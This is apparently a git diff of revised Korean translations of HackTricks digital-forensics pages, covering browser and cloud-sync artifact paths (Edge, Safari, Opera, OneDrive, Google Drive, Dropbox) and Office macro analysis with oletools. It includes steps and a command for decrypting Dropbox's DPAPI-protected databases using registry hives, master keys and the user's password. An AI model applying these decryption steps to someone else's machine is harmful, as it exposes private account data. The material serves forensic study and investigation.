* 여러분의 해킹 기술을 공유하려면 [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
* **프로필 경로**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC`
|
||||
* **히스토리, 쿠키 및 다운로드**: `C:\Users\XX\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat`
|
||||
* **설정, 북마크 및 읽기 목록**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC\MicrosoftEdge\User\Default\DataStore\Data\nouser1\XXX\DBStore\spartan.edb`
|
||||
* **캐시**: `C:\Users\XXX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC#!XXX\MicrosoftEdge\Cache`
|
||||
* **최근 활성 세션**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC\MicrosoftEdge\User\Default\Recovery\Active`
|
||||
|
||||
## Safari
|
||||
|
||||
Safari 데이터는 `/Users/$User/Library/Safari`에 저장됩니다. 주요 파일은 다음과 같습니다:
|
||||
|
||||
* **History.db**: URL 및 방문 타임스탬프를 포함하는 `history_visits` 및 `history_items` 테이블이 포함되어 있습니다. 쿼리를 수행하려면 `sqlite3`를 사용합니다.
|
||||
* **Downloads.plist**: 다운로드된 파일에 대한 정보입니다.
|
||||
* **Bookmarks.plist**: 북마크된 URL을 저장합니다.
|
||||
* **TopSites.plist**: 가장 자주 방문하는 사이트입니다.
|
||||
* **Extensions.plist**: Safari 브라우저 확장 프로그램 목록입니다. 검색하려면 `plutil` 또는 `pluginkit`을 사용합니다.
|
||||
* **UserNotificationPermissions.plist**: 푸시 알림을 허용하는 도메인입니다. 구문 분석하려면 `plutil`을 사용합니다.
|
||||
* **LastSession.plist**: 마지막 세션의 탭입니다. 구문 분석하려면 `plutil`을 사용합니다.
|
||||
* **Browser의 내장된 안티 피싱**: `defaults read com.apple.Safari WarnAboutFraudulentWebsites`를 사용하여 확인합니다. 1이 응답되면 해당 기능이 활성화되어 있음을 나타냅니다.
|
||||
|
||||
## Opera
|
||||
|
||||
Opera 데이터는 `/Users/$USER/Library/Application Support/com.operasoftware.Opera`에 저장되며, 히스토리 및 다운로드에 대한 Chrome의 형식을 공유합니다.
|
||||
|
||||
* **Browser의 내장된 안티 피싱**: `fraud_protection_enabled`이 `true`로 설정되어 있는지 확인하려면 `grep`를 사용합니다.
|
||||
|
||||
이러한 경로 및 명령은 다른 웹 브라우저에 의해 저장된 브라우징 데이터에 액세스하고 이해하는 데 중요합니다.
|
||||
|
||||
## 참고 자료
|
||||
|
||||
* [https://nasbench.medium.com/web-browsers-forensics-7e99940c579a](https://nasbench.medium.com/web-browsers-forensics-7e99940c579a)
|
||||
* [https://www.sentinelone.com/labs/macos-incident-response-part-3-system-manipulation/](https://www.sentinelone.com/labs/macos-incident-response-part-3-system-manipulation/)
|
||||
* [https://books.google.com/books?id=jfMqCgAAQBAJ\&pg=PA128\&lpg=PA128\&dq=%22This+file](https://books.google.com/books?id=jfMqCgAAQBAJ\&pg=PA128\&lpg=PA128\&dq=%22This+file)
|
||||
* **책: OS X Incident Response: Scripting and Analysis By Jaron Bradley pag 123**
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)를 사용하여 세계에서 가장 고급 커뮤니티 도구를 활용한 **워크플로우를 쉽게 구축하고 자동화**하세요.\
|
||||
오늘 바로 액세스하세요:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>**htARTE (HackTricks AWS Red Team Expert)**로부터 제로에서 영웅까지 AWS 해킹을 배우세요</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
* **HackTricks**에서 귀하의 **회사 광고를 보고 싶거나** **PDF 형식의 HackTricks를 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* **해킹 요령을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,30 +1,30 @@
|
|||
# 로컬 클라우드 스토리지
|
||||
# 로컬 클라우드 저장소
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로부터 영웅까지 AWS 해킹 배우기**!</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter**에서 **팔로우**하세요. 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Hacking 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
|
||||
* **해킹 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소로 PR을 제출하세요.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)를 사용하여 세계에서 가장 고급스러운 커뮤니티 도구를 활용한 **워크플로우를 쉽게 구축하고 자동화**하세요.\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)를 사용하여 세계에서 가장 **고급 커뮤니티 도구**를 활용한 **워크플로우를 쉽게 구축**하고 **자동화**하세요.\
|
||||
오늘 바로 액세스하세요:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
## OneDrive
|
||||
|
||||
Windows에서 OneDrive 폴더는 `\Users\<username>\AppData\Local\Microsoft\OneDrive`에 있습니다. 그리고 `logs\Personal` 폴더 안에는 동기화된 파일에 대한 일부 흥미로운 데이터가 포함된 `SyncDiagnostics.log` 파일을 찾을 수 있습니다:
|
||||
Windows에서 OneDrive 폴더는 `\Users\<username>\AppData\Local\Microsoft\OneDrive`에 있습니다. 그리고 `logs\Personal` 폴더 안에 `SyncDiagnostics.log` 파일을 찾을 수 있으며, 이 파일에는 동기화된 파일에 관한 흥미로운 데이터가 포함되어 있습니다:
|
||||
|
||||
* 바이트 단위의 크기
|
||||
* 생성 날짜
|
||||
|
@ -35,21 +35,21 @@ Windows에서 OneDrive 폴더는 `\Users\<username>\AppData\Local\Microsoft\OneD
|
|||
* 보고서 생성 시간
|
||||
* OS의 HD 크기
|
||||
|
||||
CID를 찾았다면 **이 ID를 포함하는 파일을 검색**하는 것이 좋습니다. OneDrive와 동기화된 파일의 이름을 포함할 수 있는 _**\<CID>.ini**_ 및 _**\<CID>.dat**_ 파일을 찾을 수 있습니다.
|
||||
CID를 찾았다면 **이 ID를 포함하는 파일을 검색**하는 것이 좋습니다. OneDrive와 동기화된 파일의 이름을 포함하는 _**\<CID>.ini**_ 및 _**\<CID>.dat**_ 파일을 찾을 수 있으며, 이 파일에는 OneDrive와 동기화된 파일의 이름과 같은 흥미로운 정보가 포함될 수 있습니다.
|
||||
|
||||
## Google Drive
|
||||
|
||||
Windows에서 주요 Google Drive 폴더는 `\Users\<username>\AppData\Local\Google\Drive\user_default`에 있습니다.\
|
||||
이 폴더에는 Sync\_log.log라는 파일이 있으며, 해당 파일에는 계정의 이메일 주소, 파일 이름, 타임스탬프, 파일의 MD5 해시 등과 같은 정보가 포함되어 있습니다. 삭제된 파일도 해당 로그 파일에 해당 MD5와 함께 나타납니다.
|
||||
이 폴더에는 Sync\_log.log라는 파일이 포함되어 있으며, 해당 파일에는 계정의 이메일 주소, 파일 이름, 타임스탬프, 파일의 MD5 해시 등과 같은 정보가 포함되어 있습니다. 심지어 삭제된 파일도 해당 로그 파일에 해당 MD5와 함께 나타납니다.
|
||||
|
||||
파일 **`Cloud_graph\Cloud_graph.db`**는 **`cloud_graph_entry`** 테이블을 포함하는 sqlite 데이터베이스입니다. 이 테이블에서는 **동기화된 파일의 이름**, 수정 시간, 크기 및 파일의 MD5 체크섬을 찾을 수 있습니다.
|
||||
파일 **`Cloud_graph\Cloud_graph.db`**는 **`cloud_graph_entry`** 테이블을 포함하는 sqlite 데이터베이스이며, 이 테이블에서 **동기화된 파일의 이름**, 수정된 시간, 크기 및 파일의 MD5 체크섬을 찾을 수 있습니다.
|
||||
|
||||
데이터베이스 **`Sync_config.db`**의 테이블 데이터에는 계정의 이메일 주소, 공유 폴더의 경로 및 Google Drive 버전이 포함됩니다.
|
||||
데이터베이스 **`Sync_config.db`**의 테이블 데이터에는 계정의 이메일 주소, 공유 폴더의 경로 및 Google Drive 버전이 포함되어 있습니다.
|
||||
|
||||
## Dropbox
|
||||
|
||||
Dropbox는 파일을 관리하기 위해 **SQLite 데이터베이스**를 사용합니다. 이\
|
||||
데이터베이스는 다음 폴더에 있습니다:
|
||||
Dropbox는 파일을 관리하기 위해 **SQLite 데이터베이스**를 사용합니다. 여기에서\
|
||||
데이터베이스를 찾을 수 있습니다:
|
||||
|
||||
* `\Users\<username>\AppData\Local\Dropbox`
|
||||
* `\Users\<username>\AppData\Local\Dropbox\Instance1`
|
||||
|
@ -64,7 +64,7 @@ Dropbox는 파일을 관리하기 위해 **SQLite 데이터베이스**를 사용
|
|||
|
||||
".dbx" 확장자는 데이터베이스가 **암호화**되었음을 의미합니다. Dropbox는 **DPAPI**를 사용합니다 ([https://docs.microsoft.com/en-us/previous-versions/ms995355(v=msdn.10)?redirectedfrom=MSDN](https://docs.microsoft.com/en-us/previous-versions/ms995355\(v=msdn.10\)?redirectedfrom=MSDN))
|
||||
|
||||
Dropbox가 사용하는 암호화를 더 잘 이해하기 위해 [https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html](https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html)를 읽을 수 있습니다.
|
||||
Dropbox가 사용하는 암호화를 더 잘 이해하려면 [https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html](https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html)를 참조하세요.
|
||||
|
||||
그러나 주요 정보는 다음과 같습니다:
|
||||
|
||||
|
@ -73,64 +73,42 @@ Dropbox가 사용하는 암호화를 더 잘 이해하기 위해 [https://blog.d
|
|||
* **알고리즘**: PBKDF2
|
||||
* **반복 횟수**: 1066
|
||||
|
||||
데이터베이스를 복호화하기 위해 필요한 것은 다음과 같습니다:
|
||||
해당 정보 외에도 데이터베이스를 복호화하려면 다음이 필요합니다:
|
||||
|
||||
* **암호화된 DPAPI 키**: 이것은 레지스트리에서 `NTUSER.DAT\Software\Dropbox\ks\client` 안에 찾을 수 있습니다 (이 데이터를 이진 형식으로 내보냅니다)
|
||||
* **암호화된 DPAPI 키**: 이진으로 내보낸 `NTUSER.DAT\Software\Dropbox\ks\client` 레지스트리에서 찾을 수 있습니다.
|
||||
* **`SYSTEM`** 및 **`SECURITY`** 하이브
|
||||
* **DPAPI 마스터 키**: 이는 `\Users\<username>\AppData\Roaming\Microsoft\Protect`에서 찾을 수 있습니다
|
||||
* Windows 사용자의 **사용자 이름**과 **비밀번호**
|
||||
* **DPAPI 마스터 키**: `\Users\<username>\AppData\Roaming\Microsoft\Protect`에서 찾을 수 있습니다.
|
||||
* Windows 사용자의 **사용자 이름** 및 **암호**
|
||||
|
||||
그런 다음 [**DataProtectionDecryptor**](https://nirsoft.net/utils/dpapi\_data\_decryptor.html)**** 도구를 사용할 수 있습니다:
|
||||
그런 다음 [**DataProtectionDecryptor**](https://nirsoft.net/utils/dpapi\_data\_decryptor.html) 도구를 사용할 수 있습니다:
|
||||
|
||||
![](<../../../.gitbook/assets/image (448).png>)
|
||||
|
||||
모든 것이 예상대로 진행되면, 도구는 복구해야 할 **기본 키**를 나타낼 것입니다. 원래 키를 복구하려면 이 [cyber\_chef receipt](https://gchq.github.io/CyberChef/#recipe=Derive\_PBKDF2\_key\(%7B'option':'Hex','string':'98FD6A76ECB87DE8DAB4623123402167'%7D,128,1066,'SHA1',%7B'option':'Hex','string':'0D638C092E8B82FC452883F95F355B8E'%7D\))를 사용하여 기본 키를 "passphrase"로 사용하세요.
|
||||
모든 것이 예상대로 진행되면, 도구는 **복구할 원본 키**를 나타내는 **기본 키**를 알려줍니다. 원본 키를 복구하려면 이 [cyber\_chef 레시피](https://gchq.github.io/CyberChef/#recipe=Derive\_PBKDF2\_key\(%7B'option':'Hex','string':'98FD6A76ECB87DE8DAB4623123402167'%7D,128,1066,'SHA1',%7B'option':'Hex','string':'0D638C092E8B82FC452883F95F355B8E'%7D\)에 기본 키를 "passphrase"로 넣으면 됩니다.
|
||||
|
||||
결과로 나오는 16진수는 데이터베이스를 암호화하는 데 사용되는 최종 키이며 다음과 같이 복호화할 수 있습니다:
|
||||
결과 hex는 데이터베이스를 복호화하는 데 사용되는 최종 키이며 다음과 같이 복호화할 수 있습니다:
|
||||
```bash
|
||||
sqlite -k <Obtained Key> config.dbx ".backup config.db" #This decompress the config.dbx and creates a clear text backup in config.db
|
||||
```
|
||||
**`config.dbx`** 데이터베이스에는 다음이 포함되어 있습니다:
|
||||
|
||||
* **이메일**: 사용자의 이메일
|
||||
* **usernamedisplayname**: 사용자의 이름
|
||||
* **dropbox\_path**: Dropbox 폴더가 위치한 경로
|
||||
* **Host\_id**: 클라우드에 인증하는 데 사용되는 해시. 이는 웹에서만 취소할 수 있습니다.
|
||||
* **Root\_ns**: 사용자 식별자
|
||||
- **이메일**: 사용자의 이메일
|
||||
- **usernamedisplayname**: 사용자의 이름
|
||||
- **dropbox\_path**: 드롭박스 폴더가 위치한 경로
|
||||
- **Host\_id**: 클라우드에 인증하는 데 사용되는 해시. 웹에서만 취소할 수 있습니다.
|
||||
- **Root\_ns**: 사용자 식별자
|
||||
|
||||
**`filecache.db`** 데이터베이스에는 Dropbox와 동기화된 모든 파일과 폴더에 대한 정보가 포함되어 있습니다. `File_journal` 테이블에는 가장 유용한 정보가 있습니다:
|
||||
**`filecache.db`** 데이터베이스에는 드롭박스와 동기화된 모든 파일 및 폴더에 대한 정보가 포함되어 있습니다. `File_journal` 테이블에는 더 유용한 정보가 많이 있습니다:
|
||||
|
||||
* **Server\_path**: 서버 내에서 파일이 위치한 경로 (이 경로는 클라이언트의 `host_id`로 시작됩니다).
|
||||
* **local\_sjid**: 파일의 버전
|
||||
* **local\_mtime**: 수정 날짜
|
||||
* **local\_ctime**: 생성 날짜
|
||||
- **Server\_path**: 서버 내 파일이 위치한 경로 (`host_id`가 클라이언트의 앞에 오는 경로입니다).
|
||||
- **local\_sjid**: 파일의 버전
|
||||
- **local\_mtime**: 수정 날짜
|
||||
- **local\_ctime**: 생성 날짜
|
||||
|
||||
이 데이터베이스의 다른 테이블에는 더 흥미로운 정보가 포함되어 있습니다:
|
||||
이 데이터베이스 내의 다른 테이블에는 더 흥미로운 정보가 포함되어 있습니다:
|
||||
|
||||
* **block\_cache**: Dropbox의 모든 파일과 폴더의 해시
|
||||
* **block\_ref**: `block_cache` 테이블의 해시 ID와 `file_journal` 테이블의 파일 ID를 관련시킵니다.
|
||||
* **mount\_table**: Dropbox의 공유 폴더
|
||||
* **deleted\_fields**: 삭제된 Dropbox 파일
|
||||
* **date\_added**
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)를 사용하여 세계에서 가장 고급스러운 커뮤니티 도구를 활용한 **워크플로우를 쉽게 구축하고 자동화**하세요.\
|
||||
오늘 바로 액세스하세요:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>**htARTE (HackTricks AWS Red Team Expert)**로부터 AWS 해킹을 처음부터 전문가까지 배워보세요!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family)인 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**를** 팔로우하세요.
|
||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 여러분의 해킹 기법을 공유하세요.
|
||||
|
||||
</details>
|
||||
- **block\_cache**: 드롭박스의 모든 파일 및 폴더의 해시
|
||||
- **block\_ref**: `block_cache` 테이블의 해시 ID를 `file_journal` 테이블의 파일 ID와 관련시킴
|
||||
- **mount\_table**: 드롭박스의 공유 폴더
|
||||
- **deleted\_fields**: 드롭박스에서 삭제된 파일
|
||||
- **date\_added**
|
||||
|
|
|
@ -2,59 +2,57 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로부터 영웅이 되는 AWS 해킹을 배우세요**!</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**를** **팔로우**하세요.
|
||||
* **Hacking 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** 트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요**.
|
||||
* **해킹 트릭을 공유하려면 PR을 제출하여** [**HackTricks**](https://github.com/carlospolop/hacktricks) **및** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **깃허브 저장소에 기여하세요**.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)를 사용하여 세계에서 가장 **고급**한 커뮤니티 도구를 활용한 **워크플로우를 쉽게 구축하고 자동화**하세요.\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)를 사용하여 세계에서 가장 **고급 커뮤니티 도구**를 활용한 **워크플로우를 쉽게 구축하고 자동화**하세요.\
|
||||
오늘 바로 액세스하세요:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
더 많은 정보는 [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/)에서 확인하세요. 이것은 간단한 요약입니다:
|
||||
|
||||
자세한 정보는 [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/)를 확인하세요. 이것은 요약입니다:
|
||||
마이크로소프트는 많은 오피스 문서 형식을 만들었는데, 주요 유형은 **OLE 형식** (예: RTF, DOC, XLS, PPT)과 **Office Open XML (OOXML) 형식** (예: DOCX, XLSX, PPTX)이 있습니다. 이러한 형식에는 매크로가 포함될 수 있어서 피싱 및 악성 코드의 대상이 됩니다. OOXML 파일은 zip 컨테이너로 구조화되어 있어서 압축 해제를 통해 파일 및 폴더 계층 구조 및 XML 파일 내용을 확인할 수 있습니다.
|
||||
|
||||
OOXML 파일 구조를 탐색하기 위해 문서를 압축 해제하는 명령어와 출력 구조가 제공됩니다. 이러한 파일에 데이터를 숨기는 기술이 문서화되어 있어서 CTF 도전 과제 내에서 데이터 숨김에 대한 지속적인 혁신을 나타냅니다.
|
||||
|
||||
마이크로소프트는 많은 오피스 문서 형식을 만들었으며, 주요 유형은 **OLE 형식** (예: RTF, DOC, XLS, PPT)과 **Office Open XML (OOXML) 형식** (예: DOCX, XLSX, PPTX)입니다. 이러한 형식은 매크로를 포함할 수 있으므로 피싱 및 악성 소프트웨어의 대상이 됩니다. OOXML 파일은 zip 컨테이너로 구조화되어 있어 압축 해제를 통해 검사하고 파일 및 폴더 계층 구조 및 XML 파일 내용을 확인할 수 있습니다.
|
||||
분석을 위해 **oletools** 및 **OfficeDissector**는 OLE 및 OOXML 문서를 조사하기 위한 포괄적인 도구 세트를 제공합니다. 이 도구들은 포함된 매크로를 식별하고 분석하는 데 도움이 되며, 이러한 매크로는 주로 악성 코드 전달을 위한 벡터로 사용되어 일반적으로 추가 악성 페이로드를 다운로드하고 실행합니다. VBA 매크로의 분석은 Microsoft Office를 사용하지 않고 Libre Office를 활용하여 디버깅을 지원하며 중단점 및 감시 변수를 사용할 수 있습니다.
|
||||
|
||||
OOXML 파일 구조를 탐색하기 위해 문서를 압축 해제하는 명령과 출력 구조가 제공됩니다. 이러한 파일에 데이터를 숨기는 기술은 문제 해결 도전에서 데이터 숨김에 대한 지속적인 혁신을 나타냅니다.
|
||||
|
||||
분석을 위해 **oletools**와 **OfficeDissector**는 OLE 및 OOXML 문서를 조사하기 위한 포괄적인 도구 세트를 제공합니다. 이러한 도구는 포함된 매크로를 식별하고 분석하는 데 도움이 됩니다. 매크로는 일반적으로 악성 소프트웨어 전달의 벡터로 사용되며, 일반적으로 추가 악성 페이로드를 다운로드하고 실행합니다. VBA 매크로의 분석은 Microsoft Office를 사용하지 않고 Libre Office를 활용하여 중단점 및 감시 변수로 디버깅할 수 있습니다.
|
||||
|
||||
**oletools**의 설치와 사용은 간단하며, pip를 통해 설치하는 명령과 문서에서 매크로를 추출하는 명령이 제공됩니다. `AutoOpen`, `AutoExec`, 또는 `Document_Open`과 같은 함수로 자동으로 매크로를 실행할 수 있습니다.
|
||||
**oletools**의 설치 및 사용법은 간단하며, pip를 통해 설치하고 문서에서 매크로를 추출하는 명령어가 제공됩니다. `AutoOpen`, `AutoExec`, 또는 `Document_Open`과 같은 함수를 통해 매크로의 자동 실행이 트리거됩니다.
|
||||
```bash
|
||||
sudo pip3 install -U oletools
|
||||
olevba -c /path/to/document #Extract macros
|
||||
```
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)를 사용하여 세계에서 가장 **고급**한 커뮤니티 도구로 구동되는 **워크플로우를 쉽게 구축하고 자동화**하세요.\
|
||||
오늘 액세스하세요:
|
||||
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)를 사용하여 세계에서 가장 **고급** 커뮤니티 도구를 활용한 **워크플로우를 쉽게 구축**하고 **자동화**하세요.\
|
||||
오늘 바로 액세스하세요:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로부터 영웅까지 AWS 해킹을 배우세요**!</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**를** **팔로우**하세요.
|
||||
* **Hacking 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) **및** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **github 저장소에 PR을 제출**하세요.
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 얻으세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**를 팔로우하세요.**
|
||||
